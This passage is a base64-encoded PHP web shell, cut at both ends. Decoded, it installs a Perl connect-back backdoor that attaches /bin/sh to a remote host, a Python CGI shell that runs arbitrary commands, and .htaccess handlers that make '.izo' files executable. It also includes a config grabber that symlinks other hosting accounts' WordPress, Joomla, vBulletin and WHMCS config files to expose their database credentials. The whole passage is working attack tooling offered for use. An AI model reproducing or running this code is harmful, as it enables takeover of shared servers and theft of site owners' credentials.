4dloyOTFkQTBLZXcwS0NTWlFaWEptYjNKdFRHOW5iM1YwT3cwS2ZRPT0nOwoKJGZpbGUgPSBmb3BlbigiaXpvLmNpbiIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjZ2lzaGVsbGl6b2NpbikpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoIml6by5jaW4iLDA3NTUpOwokbmV0Y2F0c2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9nSUNBZ0lDQjFjMlVnVTI5amEyVjBPdzBLSUNBZ0lDQWdjSEpwYm5RZ0lrUmhkR0VnUTJoaApNSE1nUTI5dWJtVmpkQ0JDWVdOcklFSmhZMnRrYjI5eVhHNWNiaUk3RFFvZ0lDQWdJQ0JwWmlBb0lTUkJVa2RXV3pCZEtTQjdEUW9nCklDQWdJQ0FnSUhCeWFXNTBaaUFpVlhOaFoyVTZJQ1F3SUZ0SWIzTjBYU0E4VUc5eWRENWNiaUk3RFFvZ0lDQWdJQ0FnSUdWNGFYUW8KTVNrN0RRb2dJQ0FnSUNCOURRb2dJQ0FnSUNCd2NtbHVkQ0FpV3lwZElFUjFiWEJwYm1jZ1FYSm5kVzFsYm5SelhHNGlPdzBLSUNBZwpJQ0FnSkdodmMzUWdQU0FrUVZKSFZsc3dYVHNOQ2lBZ0lDQWdJQ1J3YjNKMElEMGdPREE3RFFvZ0lDQWdJQ0JwWmlBb0pFRlNSMVpiCk1WMHBJSHNOQ2lBZ0lDQWdJQ0FnSkhCdmNuUWdQU0FrUVZKSFZsc3hYVHNOQ2lBZ0lDQWdJSDBOQ2lBZ0lDQWdJSEJ5YVc1MElDSmIKS2wwZ1EyOXVibVZqZEdsdVp5NHVMbHh1SWpzTkNpQWdJQ0FnSUNSd2NtOTBieUE5SUdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbgpLU0I4ZkNCa2FXVW9JbFZ1YTI1dmQyNGdVSEp2ZEc5amIyeGNiaUlwT3cwS0lDQWdJQ0FnYzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmClNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYnlrZ2ZId2daR2xsSUNnaVUyOWphMlYwSUVWeWNtOXlYRzRpS1RzTkNpQWcKSUNBZ0lHMTVJQ1IwWVhKblpYUWdQU0JwYm1WMFgyRjBiMjRvSkdodmMzUXBPdzBLSUNBZ0lDQWdhV1lnS0NGamIyNXVaV04wS0ZORgpVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUNSMFlYSm5aWFFwS1NCN0RRb2dJQ0FnSUNBZ0lHUnBaU2dpClZXNWhZbXhsSUhSdklFTnZibTVsWTNSY2JpSXBPdzBLSUNBZ0lDQWdmUTBLSUNBZ0lDQWdjSEpwYm5RZ0lsc3FYU0JUY0dGM2JtbHUKWnlCVGFHVnNiRnh1SWpzTkNpQWdJQ0FnSUdsbUlDZ2habTl5YXlnZ0tTa2dldzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRWxPTENJKwpKbE5GVWxaRlVpSXBPdzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRTlWVkN3aVBpWlRSVkpXUlZJaUtUc05DaUFnSUNBZ0lDQWdiM0JsCmJpaFRWRVJGVWxJc0lqNG1VMFZTVmtWU0lpazdEUW9nSUNBZ0lDQWdJR1Y0WldNZ2V5Y3ZZbWx1TDNOb0ozMGdKeTFpWVhOb0p5QXUKSUNKY01DSWdlQ0EwT3cwS0lDQWdJQ0FnSUNCbGVHbDBLREFwT3cwS0lDQWdJQ0FnZlEwS0lDQWdJQ0FnY0hKcGJuUWdJbHNxWFNCRQpZWFJoWTJobFpGeHVYRzRpT3c9PSc7CgokZmlsZSA9IGZvcGVuKCJkYy5wbCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRuZXRjYXRzaGVsbCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoImRjLnBsIiwwNzU1KTsKZWNobyAiPGlmcmFtZSBzcmM9Y2dpc2hlbGwvaXpvLmNpbiB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTQnXSkpCnsKICAgIG1rZGlyKCdweXRob24nLCAwNzU1KTsKICAgIGNoZGlyKCdweXRob24nKTsKICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGHDp8SxbGFtYWTEsSEiKTsKICAgICAgICAkbWV0aW4gPSAiQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICAKICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkZG9zeWEpOwokcHl0aG9ucCA9ICdJeUV2ZFhOeUwySnBiaTl3ZVhSb2IyNEtJeUF3Tnkwd055MHdOQW9qSUhZeExqQXVNQW9LSXlCaloya3RjMmhsYkd3dWNIa0tJeUJCCklITnBiWEJzWlNCRFIwa2dkR2hoZENCbGVHVmpkWFJsY3lCaGNtSnBkSEpoY25rZ2MyaGxiR3dnWTI5dGJXRnVaSE11Q2dvS0l5QkQKYjNCNWNtbG5hSFFnVFdsamFHRmxiQ0JHYjI5eVpBb2pJRmx2ZFNCaGNtVWdabkpsWlNCMGJ5QnRiMlJwWm5rc0lIVnpaU0JoYm1RZwpjbVZzYVdObGJuTmxJSFJvYVhNZ1kyOWtaUzRLQ2lNZ1RtOGdkMkZ5Y21GdWRIa2daWGh3Y21WemN5QnZjaUJwYlhCc2FXVmtJR1p2CmNpQjBhR1VnWVdOamRYSmhZM2tzSUdacGRHNWxjM01nZEc4Z2NIVnljRzl6WlNCdmNpQnZkR2hsY25kcGMyVWdabTl5SUhSb2FYTWcKWTI5a1pTNHVMaTRLSXlCVmMyVWdZWFFnZVc5MWNpQnZkMjRnY21semF5QWhJU0VLQ2lNZ1JTMXRZV2xzSUcxcFkyaGhaV3dnUVZRZwpabTl2Y21RZ1JFOVVJRzFsSUVSUFZDQjFhd29qSUUxaGFXNTBZV2x1WldRZ1lYUWdkM2QzTG5admFXUnpjR0ZqWlM1dmNtY3VkV3N2CllYUnNZVzUwYVdKdmRITXZjSGwwYUc5dWRYUnBiSE11YUhSdGJBb0tJaUlpQ2tFZ2MybHRjR3hsSUVOSFNTQnpZM0pwY0hRZ2RHOGcKWlhobFkzVjBaU0J6YUdWc2JDQmpiMjF0WVc1a2N5QjJhV0VnUTBkSkxnb2lJaUlLSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNagpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl3b2pJRWx0Y0c5eWRITUtkSEo1Ck9nb2dJQ0FnYVcxd2IzSjBJR05uYVhSaU95QmpaMmwwWWk1bGJtRmliR1VvS1FwbGVHTmxjSFE2Q2lBZ0lDQndZWE56Q21sdGNHOXkKZENCemVYTXNJR05uYVN3Z2IzTUtjM2x6TG5OMFpHVnljaUE5SUhONWN5NXpkR1J2ZFhRS1puSnZiU0IwYVcxbElHbHRjRzl5ZENCegpkSEptZEdsdFpRcHBiWEJ2Y25RZ2RISmhZMlZpWVdOckNtWnliMjBnVTNSeWFXNW5TVThnYVcxd2IzSjBJRk4wY21sdVowbFBDbVp5CmIyMGdkSEpoWTJWaVlXTnJJR2x0Y0c5eWRDQndjbWx1ZEY5bGVHTUtDaU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoKSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNS0l5QmpiMjV6ZEdGdWRITUtDbVp2Ym5ScwphVzVsSUQwZ0p6eEdUMDVVSUVOUFRFOVNQU00wTWpReU5ESWdjM1I1YkdVOUltWnZiblF0Wm1GdGFXeDVPblJwYldWek8yWnZiblF0CmMybDZaVG94TW5CME95SStKd3AyWlhKemFXOXVjM1J5YVc1bklEMGdKMVpsY25OcGIyNGdNUzR3TGpBZ04zUm9JRXAxYkhrZ01qQXcKTkNjS0NtbG1JRzl6TG1WdWRtbHliMjR1YUdGelgydGxlU2dpVTBOU1NWQlVYMDVCVFVVaUtUb0tJQ0FnSUhOamNtbHdkRzVoYldVZwpQU0J2Y3k1bGJuWnBjbTl1V3lKVFExSkpVRlJmVGtGTlJTSmRDbVZzYzJVNkNpQWdJQ0J6WTNKcGNIUnVZVzFsSUQwZ0lpSUtDazFGClZFaFBSQ0E5SUNjaVVFOVRWQ0luQ2dvakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoKSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpDaU1nVUhKcGRtRjBaU0JtZFc1amRHbHZibk1nWVc1a0lIWmhjbWxoWW14bApjd29LWkdWbUlHZGxkR1p2Y20wb2RtRnNkV1ZzYVhOMExDQjBhR1ZtYjNKdExDQnViM1J3Y21WelpXNTBQU2NuS1RvS0lDQWdJQ0lpCklsUm9hWE1nWm5WdVkzUnBiMjRzSUdkcGRtVnVJR0VnUTBkSklHWnZjbTBzSUdWNGRISmhZM1J6SUhSb1pTQmtZWFJoSUdaeWIyMGcKYVhRc0lHSmhjMlZrSUc5dUNpQWdJQ0IyWVd4MVpXeHBjM1FnY0dGemMyVmtJR2x1TGlCQmJua2dibTl1TFhCeVpYTmxiblFnZG1GcwpkV1Z6SUdGeVpTQnpaWFFnZEc4Z0p5Y2dMU0JoYkhSb2IzVm5hQ0IwYUdseklHTmhiaUJpWlNCamFHRnVaMlZrTGdvZ0lDQWdLR1V1Clp5NGdkRzhnY21WMGRYSnVJRTV2Ym1VZ2MyOGdlVzkxSUdOaGJpQjBaWE4wSUdadmNpQnRhWE56YVc1bklHdGxlWGR2Y21SeklDMGcKZDJobGNtVWdKeWNnYVhNZ1lTQjJZV3hwWkNCaGJuTjNaWElnWW5WMElIUnZJR2hoZG1VZ2RHaGxJR1pwWld4a0lHMXBjM05wYm1jZwphWE51SjNRdUtTSWlJZ29nSUNBZ1pHRjBZU0E5SUh0OUNpQWdJQ0JtYjNJZ1ptbGxiR1FnYVc0Z2RtRnNkV1ZzYVhOME9nb2dJQ0FnCklDQWdJR2xtSUc1dmRDQjBhR1ZtYjNKdExtaGhjMTlyWlhrb1ptbGxiR1FwT2dvZ0lDQWdJQ0FnSUNBZ0lDQmtZWFJoVzJacFpXeGsKWFNBOUlHNXZkSEJ5WlhObGJuUUtJQ0FnSUNBZ0lDQmxiSE5sT2dvZ0lDQWdJQ0FnSUNBZ0lDQnBaaUFnZEhsd1pTaDBhR1ZtYjNKdApXMlpwWld4a1hTa2dJVDBnZEhsd1pTaGJYU2s2Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JrWVhSaFcyWnBaV3hrWFNBOUlIUm9aV1p2CmNtMWJabWxsYkdSZExuWmhiSFZsQ2lBZ0lDQWdJQ0FnSUNBZ0lHVnNjMlU2Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0IyWVd4MVpYTWcKUFNCdFlYQW9iR0Z0WW1SaElIZzZJSGd1ZG1Gc2RXVXNJSFJvWldadmNtMWJabWxsYkdSZEtTQWdJQ0FnSXlCaGJHeHZkM01nWm05eQpJR3hwYzNRZ2RIbHdaU0IyWVd4MVpYTUtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHUmhkR0ZiWm1sbGJHUmRJRDBnZG1Gc2RXVnpDaUFnCklDQnlaWFIxY200Z1pHRjBZUW9LQ25Sb1pXWnZjbTFvWldGa0lEMGdJaUlpUEVoVVRVdytQRWhGUVVRK1BGUkpWRXhGUG1ObmFTMXoKYUdWc2JDNXdlU0F0SUdFZ1EwZEpJR0o1SUVaMWVucDViV0Z1UEM5VVNWUk1SVDQ4TDBoRlFVUStDanhDVDBSWlBqeERSVTVVUlZJKwpDanhJTVQ1WFpXeGpiMjFsSUhSdklHTm5hUzF6YUdWc2JDNXdlU0F0SUR4Q1VqNWhJRkI1ZEdodmJpQkRSMGs4TDBneFBnbzhRajQ4ClNUNUNlU0JHZFhwNmVXMWhiand2UWo0OEwwaytQRUpTUGdvaUlpSXJabTl1ZEd4cGJtVWdLeUpXWlhKemFXOXVJRG9nSWlBcklIWmwKY25OcGIyNXpkSEpwYm1jZ0t5QWlJaUlzSUZKMWJtNXBibWNnYjI0Z09pQWlJaUlnS3lCemRISm1kR2x0WlNnbkpVazZKVTBnSlhBcwpJQ1ZCSUNWa0lDVkNMQ0FsV1NjcEt5Y3VQQzlEUlU1VVJWSStQRUpTUGljS0NuUm9aV1p2Y20wZ1BTQWlJaUk4U0RJK1JXNTBaWElnClEyOXRiV0Z1WkR3dlNESStDanhHVDFKTklFMUZWRWhQUkQxY0lpSWlJaUFySUUxRlZFaFBSQ0FySUNjaUlHRmpkR2x2YmowaUp5QXIKSUhOamNtbHdkRzVoYldVZ0t5QWlJaUpjSWo0S1BHbHVjSFYwSUc1aGJXVTlZMjFrSUhSNWNHVTlkR1Y0ZEQ0OFFsSStDanhwYm5CMQpkQ0IwZVhCbFBYTjFZbTFwZENCMllXeDFaVDBpVTNWaWJXbDBJajQ4UWxJK0Nqd3ZSazlTVFQ0OFFsSStQRUpTUGlJaUlncGliMlI1ClpXNWtJRDBnSnp3dlFrOUVXVDQ4TDBoVVRVdytKd3BsY25KdmNtMWxjM01nUFNBblBFTkZUbFJGVWo0OFNESStVMjl0WlhSb2FXNW4KSUZkbGJuUWdWM0p2Ym1jOEwwZ3lQanhDVWo0OFVGSkZQaWNLQ2lNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNagpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TUtJeUJ0WVdsdUlHSnZaSGtnYjJZZ2RHaGxJSE5qCmNtbHdkQW9LYVdZZ1gxOXVZVzFsWDE4Z1BUMGdKMTlmYldGcGJsOWZKem9LSUNBZ0lIQnlhVzUwSUNKRGIyNTBaVzUwTFhSNWNHVTYKSUhSbGVIUXZhSFJ0YkNJZ0lDQWdJQ0FnSUNBaklIUm9hWE1nYVhNZ2RHaGxJR2hsWVdSbGNpQjBieUIwYUdVZ2MyVnlkbVZ5Q2lBZwpJQ0J3Y21sdWRDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0l5QnpieUJwY3lCMGFHbHpJR0pzCllXNXJJR3hwYm1VS0lDQWdJR1p2Y20wZ1BTQmpaMmt1Um1sbGJHUlRkRzl5WVdkbEtDa0tJQ0FnSUdSaGRHRWdQU0JuWlhSbWIzSnQKS0ZzblkyMWtKMTBzWm05eWJTa0tJQ0FnSUhSb1pXTnRaQ0E5SUdSaGRHRmJKMk50WkNkZENpQWdJQ0J3Y21sdWRDQjBhR1ZtYjNKdAphR1ZoWkFvZ0lDQWdjSEpwYm5RZ2RHaGxabTl5YlFvZ0lDQWdhV1lnZEdobFkyMWtPZ29nSUNBZ0lDQWdJSEJ5YVc1MElDYzhTRkkrClBFSlNQanhDVWo0bkNpQWdJQ0FnSUNBZ2NISnBiblFnSnp4Q1BrTnZiVzFoYm1RZ09pQW5MQ0IwYUdWamJXUXNJQ2M4UWxJK1BFSlMKUGljS0lDQWdJQ0FnSUNCd2NtbHVkQ0FuVW1WemRXeDBJRG9nUEVKU1BqeENVajRuQ2lBZ0lDQWdJQ0FnZEhKNU9nb2dJQ0FnSUNBZwpJQ0FnSUNCamFHbHNaRjl6ZEdScGJpd2dZMmhwYkdSZmMzUmtiM1YwSUQwZ2IzTXVjRzl3Wlc0eUtIUm9aV050WkNrS0lDQWdJQ0FnCklDQWdJQ0FnWTJocGJHUmZjM1JrYVc0dVkyeHZjMlVvS1FvZ0lDQWdJQ0FnSUNBZ0lDQnlaWE4xYkhRZ1BTQmphR2xzWkY5emRHUnYKZFhRdWNtVmhaQ2dwQ2lBZ0lDQWdJQ0FnSUNBZ0lHTm9hV3hrWDNOMFpHOTFkQzVqYkc5elpTZ3BDaUFnSUNBZ0lDQWdJQ0FnSUhCeQphVzUwSUhKbGMzVnNkQzV5WlhCc1lXTmxLQ2RjYmljc0lDYzhRbEkrSnlrS0NpQWdJQ0FnSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2CmJpd2daVG9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0l5QmhiaUJsY25KdmNpQnBiaUJsZUdWamRYUnBibWNnZEdobElHTnYKYlcxaGJtUUtJQ0FnSUNBZ0lDQWdJQ0FnY0hKcGJuUWdaWEp5YjNKdFpYTnpDaUFnSUNBZ0lDQWdJQ0FnSUdZZ1BTQlRkSEpwYm1kSgpUeWdwQ2lBZ0lDQWdJQ0FnSUNBZ0lIQnlhVzUwWDJWNFl5aG1hV3hsUFdZcENpQWdJQ0FnSUNBZ0lDQWdJR0VnUFNCbUxtZGxkSFpoCmJIVmxLQ2t1YzNCc2FYUnNhVzVsY3lncENpQWdJQ0FnSUNBZ0lDQWdJR1p2Y2lCc2FXNWxJR2x1SUdFNkNpQWdJQ0FnSUNBZ0lDQWcKSUNBZ0lDQndjbWx1ZENCc2FXNWxDZ29nSUNBZ2NISnBiblFnWW05a2VXVnVaQW9LQ2lJaUlncFVUMFJQTDBsVFUxVkZVd29LQ2dwRApTRUZPUjBWTVQwY0tDakEzTFRBM0xUQTBJQ0FnSUNBZ0lDQldaWEp6YVc5dUlERXVNQzR3Q2tFZ2RtVnllU0JpWVhOcFl5QnplWE4wClpXMGdabTl5SUdWNFpXTjFkR2x1WnlCemFHVnNiQ0JqYjIxdFlXNWtjeTRLU1NCdFlYa2daWGh3WVc1a0lHbDBJR2x1ZEc4Z1lTQncKY205d1pYSWdKMlZ1ZG1seWIyNXRaVzUwSnlCM2FYUm9JSE5sYzNOcGIyNGdjR1Z5YzJsemRHVnVZMlV1TGk0S0lpSWknOwoKJGZpbGUgPSBmb3BlbigicHl0aG9uLml6byIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRweXRob25wKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgicHl0aG9uLml6byIsMDc1NSk7CiAgIGVjaG8gIjxpZnJhbWUgc3JjPXB5dGhvbi9weXRob24uaXpvIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQppZiAoaXNzZXQoJF9QT1NUWydTdWJtaXQxMSddKSkKewogICAgbWtkaXIoJ2FsbGNvbmZpZycsIDA3NTUpOwogICAgY2hkaXIoJ2FsbGNvbmZpZycpOwogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsKICAgICAgICAkZG9zeWEgPSBmb3BlbiAoJGRvc3lhX2FkaSAsICd3Jykgb3IgZGllICgiRG9zeWEgYcOnxLFsYW1hZMSxISIpOwogICAgICAgICRtZXRpbiA9ICJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLml6byI7ICAgIAogICAgICAgIGZ3cml0ZSAoICRkb3N5YSAsICRtZXRpbiApIDsKICAgICAgICBmY2xvc2UgKCRkb3N5YSk7CiRjb25maWdzaGVsbCA9ICdJeUV2ZFhOeUwySnBiaTl3WlhKc0lDMUpMM1Z6Y2k5c2IyTmhiQzlpWVc1a2JXbHVDbkJ5YVc1MElDSkRiMjUwWlc1MExYUjVjR1U2SUhSbGVIUXZhSFJ0YkZ4dVhHNGlPd3B3Y21sdWRDYzhJVVJQUTFSWlVFVWdhSFJ0YkNCUVZVSk1TVU1nSWkwdkwxY3pReTh2UkZSRUlGaElWRTFNSURFdU1DQlVjbUZ1YzJsMGFXOXVZV3d2TDBWT0lpQWlhSFIwY0RvdkwzZDNkeTUzTXk1dmNtY3ZWRkl2ZUdoMGJXd3hMMFJVUkM5NGFIUnRiREV0ZEhKaGJuTnBkR2x2Ym1Gc0xtUjBaQ0krQ2p4b2RHMXNJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDNob2RHMXNJajRLUEdobFlXUStDanh0WlhSaElHaDBkSEF0WlhGMWFYWTlJa052Ym5SbGJuUXRUR0Z1WjNWaFoyVWlJR052Ym5SbGJuUTlJbVZ1TFhWeklpQXZQZ284YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVlI1Y0dVaUlHTnZiblJsYm5ROUluUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NJZ0x6NEtQSFJwZEd4bFBsdCtYU0JEZVdJemNpMUVXaUJEYjI1bWFXY2dMU0JiZmwwZ1BDOTBhWFJzWlQ0S1BITjBlV3hsSUhSNWNHVTlJblJsZUhRdlkzTnpJajRLTG01bGQxTjBlV3hsTVNCN0NpQm1iMjUwTFdaaGJXbHNlVG9nVkdGb2IyMWhPd29nWm05dWRDMXphWHBsT2lCNExYTnRZV3hzT3dvZ1ptOXVkQzEzWldsbmFIUTZJR0p2YkdRN0NpQmpiMnh2Y2pvZ0l6QXdSa1pHUmpzS0lDQjBaWGgwTFdGc2FXZHVPaUJqWlc1MFpYSTdDbjBLUEM5emRIbHNaVDRLUEM5b1pXRmtQZ29uT3dwemRXSWdiR2xzZXdvZ0lDQWdLQ1IxYzJWeUtTQTlJRUJmT3dva2JYTnlJRDBnY1hoN2NIZGtmVHNLSkd0dmJHRTlKRzF6Y2k0aUx5SXVKSFZ6WlhJN0NpUnJiMnhoUFg1ekwxeHVMeTluT3lBS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wybHVZMngxWkdWekwyTnZibVpwWjNWeVpTNXdhSEFuTENScmIyeGhMaWN0YzJodmNDNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyRnRaVzFpWlhJdlkyOXVabWxuTG1sdVl5NXdhSEFuTENScmIyeGhMaWN0WVcxbGJXSmxjaTUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMk52Ym1acFp5NXBibU11Y0dod0p5d2thMjlzWVM0bkxXRnRaVzFpWlhJeUxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmJXVnRZbVZ5Y3k5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkxdFpXMWlaWEp6TG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnpJdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5bWIzSjFiUzlwYm1Oc2RXUmxjeTlqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFdadmNuVnRMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZV1J0YVc0dlkyOXVaaTV3YUhBbkxDUnJiMnhoTGljMUxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dllXUnRhVzR2WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnpRdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWGR3TVRNdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5MM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljdGQzQXRZbXh2Wnk1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWmZaMnh2WW1Gc0xuQm9jQ2NzSkd0dmJHRXVKell1ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlwYm1Oc2RXUmxMMlJpTG5Cb2NDY3NKR3R2YkdFdUp6Y3VkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWpiMjV1WldOMExuQm9jQ2NzSkd0dmJHRXVKemd1ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl0YTE5amIyNW1MbkJvY0Njc0pHdHZiR0V1SnprdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cGJtTnNkV1JsTDJOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljeE1pNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wycHZiMjFzWVM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkxcWIyOXRiR0V1ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzkyWWk5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxYWmlMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZhVzVqYkhWa1pYTXZZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTFwYm1Oc2RXUmxjeTEyWWk1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNkb2JTOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MTNhRzB4TlM1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNkb2JXTXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RkMmh0WXpFMkxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmQyaHRZM012WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0ZDJodFkzTXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXpkWEJ3YjNKMEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxYTjFjSEJ2Y25RdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnpGM2FHMWpjeTUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM04xWW0xcGRIUnBZMnRsZEM1d2FIQW5MQ1JyYjJ4aExpY3RkMmh0WTNNeUxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyeHBaVzUwY3k5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkxamJHbGxiblJ6TG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTJ4cFpXNTBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV05zYVdWdWRDNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnNhV1Z1ZEdWekwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXTnNhV1Z1ZEhNdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeT